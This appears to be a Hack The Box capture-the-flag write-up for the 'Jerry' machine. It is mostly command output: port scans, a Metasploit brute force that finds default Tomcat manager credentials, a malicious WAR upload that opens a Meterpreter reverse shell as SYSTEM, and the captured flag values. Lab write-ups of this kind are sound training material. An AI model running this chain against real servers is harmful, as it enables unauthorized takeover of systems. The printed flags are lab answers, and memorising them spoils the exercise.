

Htb machine jerry

All port scan, verbose

```
[user@parrot]~$
└─$ nmap -v -p- -n jerry.htb -Pn
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may
be slower.
Starting Nmap 7.92 ( https://nmap.org ) at 2021-08-26 22:38 +08
Initiating Connect Scan at 22:38
Scanning jerry.htb (10.129.1.110) [65535 ports]
Discovered open port 8080/tcp on 10.129.1.110
Connect Scan Timing: About 5.56% done; ETC: 22:47 (0:08:47 remaining)
Connect Scan Timing: About 15.43% done; ETC: 22:44 (0:05:34 remaining)
Connect Scan Timing: About 28.37% done; ETC: 22:43 (0:03:50 remaining)
Connect Scan Timing: About 39.80% done; ETC: 22:43 (0:03:03 remaining)
Connect Scan Timing: About 50.35% done; ETC: 22:43 (0:02:29 remaining)
Connect Scan Timing: About 59.44% done; ETC: 22:43 (0:02:14 remaining)
Connect Scan Timing: About 66.67% done; ETC: 22:44 (0:01:57 remaining)
Connect Scan Timing: About 74.86% done; ETC: 22:44 (0:01:29 remaining)
Connect Scan Timing: About 80.76% done; ETC: 22:44 (0:01:10 remaining)
Connect Scan Timing: About 87.07% done; ETC: 22:44 (0:00:48 remaining)
Completed Connect Scan at 22:44, 370.99s elapsed (65535 total ports)
Nmap scan report for jerry.htb (10.129.1.110)
Host is up (0.18s latency).
Not shown: 65534 filtered tcp ports (no-response)
PORT      STATE SERVICE
8080/tcp  open  http-proxy

Read data files from: /usr/bin/../../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 371.04 seconds
```

Udp scan output

```
[user@parrot]~$
└─$ sudo nmap -sU -v -n jerry.htb
Starting Nmap 7.92 ( https://nmap.org ) at 2021-08-26 22:38 +08
Initiating Ping Scan at 22:38
Scanning jerry.htb (10.129.1.110) [4 ports]
Completed Ping Scan at 22:38, 0.20s elapsed (1 total hosts)
Initiating UDP Scan at 22:38
Scanning jerry.htb (10.129.1.110) [1000 ports]
UDP Scan Timing: About 17.00% done; ETC: 22:41 (0:02:31 remaining)
UDP Scan Timing: About 33.20% done; ETC: 22:41 (0:02:03 remaining)
UDP Scan Timing: About 50.00% done; ETC: 22:41 (0:01:31 remaining)
UDP Scan Timing: About 66.00% done; ETC: 22:41 (0:01:02 remaining)
UDP Scan Timing: About 82.05% done; ETC: 22:41 (0:00:33 remaining)
Completed UDP Scan at 22:41, 183.75s elapsed (1000 total ports)
Nmap scan report for jerry.htb (10.129.1.110)
Host is up (0.18s latency).
All 1000 scanned ports on jerry.htb (10.129.1.110) are in ignored states.
Not shown: 1000 open|filtered udp ports (no-response)

Read data files from: /usr/bin/../../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 184.09 seconds
Raw packets sent: 2034 (94.006KB) | Rcvd: 3 (196B)
```

Nmap default scripts version, tomcat discovered

```
PORT      STATE SERVICE VERSION
8080/tcp  open  http      Apache Tomcat/Coyote JSP engine 1.1
|_ http-title: Apache Tomcat/7.0.88
|_ http-favicon: Apache Tomcat
|_ http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_ http-server-header: Apache-Coyote/1.1

NSE: Script Post-scanning.
Initiating NSE at 22:48
```

```
Completed NSE at 22:48, 0.00s elapsed
Initiating NSE at 22:48
Completed NSE at 22:48, 0.00s elapsed
Initiating NSE at 22:48
Completed NSE at 22:48, 0.00s elapsed
Read data files from: /usr/bin/../../share/nmap
Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.79 seconds
[user@parrot]~$
$ nmap -v -p8080 -n jerry.htb -sC -sV -Pn
```

Searchsploit tomcat

```
[user@parrot]~$
$ searchsploit Tomcat 7.0.88
```

Exploit Title	Path
Apache Tomcat < 9.0.1 (Beta) / < 8.5.23 / < 8.0.47 / < 7.0.8 - JSP Up1	jsp/webapps/42966.py
Apache Tomcat < 9.0.1 (Beta) / < 8.5.23 / < 8.0.47 / < 7.0.8 - JSP Up1	windows/webapps/42953.txt

```
Shellcodes: No Results
Papers: No Results
```

Tomcat login brute force

```
msf6 auxiliary(scanner/http/tomcat_mgr_login) > run

[!] No active DB -- Credential data will not be saved!
SNIPPED
[+] 10.129.1.110:8080 - Login Successful: tomcat:s3cret
```

Ability to upload war file

The screenshot shows the Tomcat Manager web interface at <http://jerry:8080/manager/html>. The interface includes a navigation bar with links like 'Getting Started', 'Start', 'Parrot OS', 'Community', 'Docs', 'Git', 'CryptPad', 'Privacy', 'Pentest', 'Learn', 'Donations and Gadgets', and 'Exploiting Python pickle...'. Below the navigation bar is a table listing deployed applications:

Path	Context Path	WAR File	Enabled	State	Actions
/docs	None specified	Tomcat Documentation	true	0	Start Stop Reload Undeploy
/examples	None specified	Servlet and JSP Examples	true	0	Start Stop Reload Undeploy
/host-manager	None specified	Tomcat Host Manager Application	true	0	Start Stop Reload Undeploy
/manager	None specified	Tomcat Manager Application	true	2	Start Stop Reload Undeploy

Below the table is the 'Deploy' section, which includes a 'Deploy directory or WAR file located on server' section with fields for 'Context Path (required)', 'XML Configuration file URL', and 'WAR or Directory URL'. The 'WAR file to deploy' section shows a 'Select WAR file to upload' button and a 'No file selected' message. The 'Diagnostics' section includes a 'Check to see if a web application has caused a memory leak on stop, reload or undeploy' checkbox and a 'Find leaks' button. The 'Server Information' section displays the following details:

Tomcat Version	JVM Version	JVM Vendor	OS Name	OS Version	OS Architecture	Hostname	IP Address
Apache Tomcat/7.0.88	1.8.0_171-b11	Oracle Corporation	Windows Server 2012 R2	6.3	amd64	JERRY	10.129.1.110

Meterpreter options

```
msf6 exploit(multi/http/tomcat_mgr_upload) > options

Module options (exploit/multi/http/tomcat_mgr_upload):
```

Name	Current Setting	Required	Description
------	-----------------	----------	-------------

```

-----
HttpPassword s3cret          no      The password for the specified username
HttpUsername tomcat          no      The username to authenticate as
Proxies       no              A proxy chain of format
type:host:port[,type:host:port][...]
RHOSTS        jerry          yes     The target host(s), range CIDR
identifier, or hosts file with syntax 'file:<path>'
RPORT         8080           yes     The target port (TCP)
SSL           false          no      Negotiate SSL/TLS for outgoing
connections
TARGETURI     /manager       yes     The URI path of the manager app
(/html/upload and /undeploy will be used)
VHOST         no              HTTP server virtual host

Payload options (java/meterpreter/reverse_tcp):

  Name      Current Setting  Required  Description
  ----      -
LHOST      tun0                yes       The listen address (an interface may be
specified)
LPORT      4444                  yes       The listen port

Exploit target:

  Id  Name
  --  ---
  0   Java Universal

```

Reverse shell popped

```

msf6 exploit(multi/http/tomcat_mgr_upload) > run

[*] Started reverse TCP handler on 10.10.16.12:4444
[*] Retrieving session ID and CSRF token...
[*] Finding CSRF token...
[*] Uploading and deploying xnnN8CkXRlS4OzpYV1NcsjB...
[*] Uploading 6229 bytes as xnnN8CkXRlS4OzpYV1NcsjB.war ...
[*] Executing xnnN8CkXRlS4OzpYV1NcsjB...
[*] Executing /xnnN8CkXRlS4OzpYV1NcsjB/PMUL7bwv1k7sv9.jsp...
[*] Sending stage (58060 bytes) to 10.129.1.110
[*] Finding CSRF token...
[*] Undeploying xnnN8CkXRlS4OzpYV1NcsjB ...
[*] Meterpreter session 1 opened (10.10.16.12:4444 -> 10.129.1.110:49192) at 2021-
08-26 23:02:29 +0800

meterpreter > sysinfo
Computer      : JERRY
OS            : Windows Server 2012 R2 6.3 (amd64)
Meterpreter   : java/windows
meterpreter > getuid
Server username: JERRY$

```

User priv system

```

C:\apache-tomcat-7.0.88>whoami
whoami
nt authority\system

```

Admin flag

```

C:\Users\ADMINI~1\Desktop\flags>dir
dir
Volume in drive C has no label.
Volume Serial Number is FC2B-E489

Directory of C:\Users\ADMINI~1\Desktop\flags

```

```
06/19/2018 07:09 AM <DIR> .
06/19/2018 07:09 AM <DIR> ..
06/19/2018 07:11 AM      88 2 for the price of 1.txt
      1 File(s)      88 bytes
      2 Dir(s)  27,601,297,408 bytes free

C:\Users\ADMINI~1\Desktop\flags>type "2 for the price of 1.txt"
type "2 for the price of 1.txt"
user.txt
7004dbcef0f854e0fb401875f26ebd00

root.txt
04a8b36e1545a455393d067e772fe90e
C:\Users\ADMINI~1\Desktop\flags>
```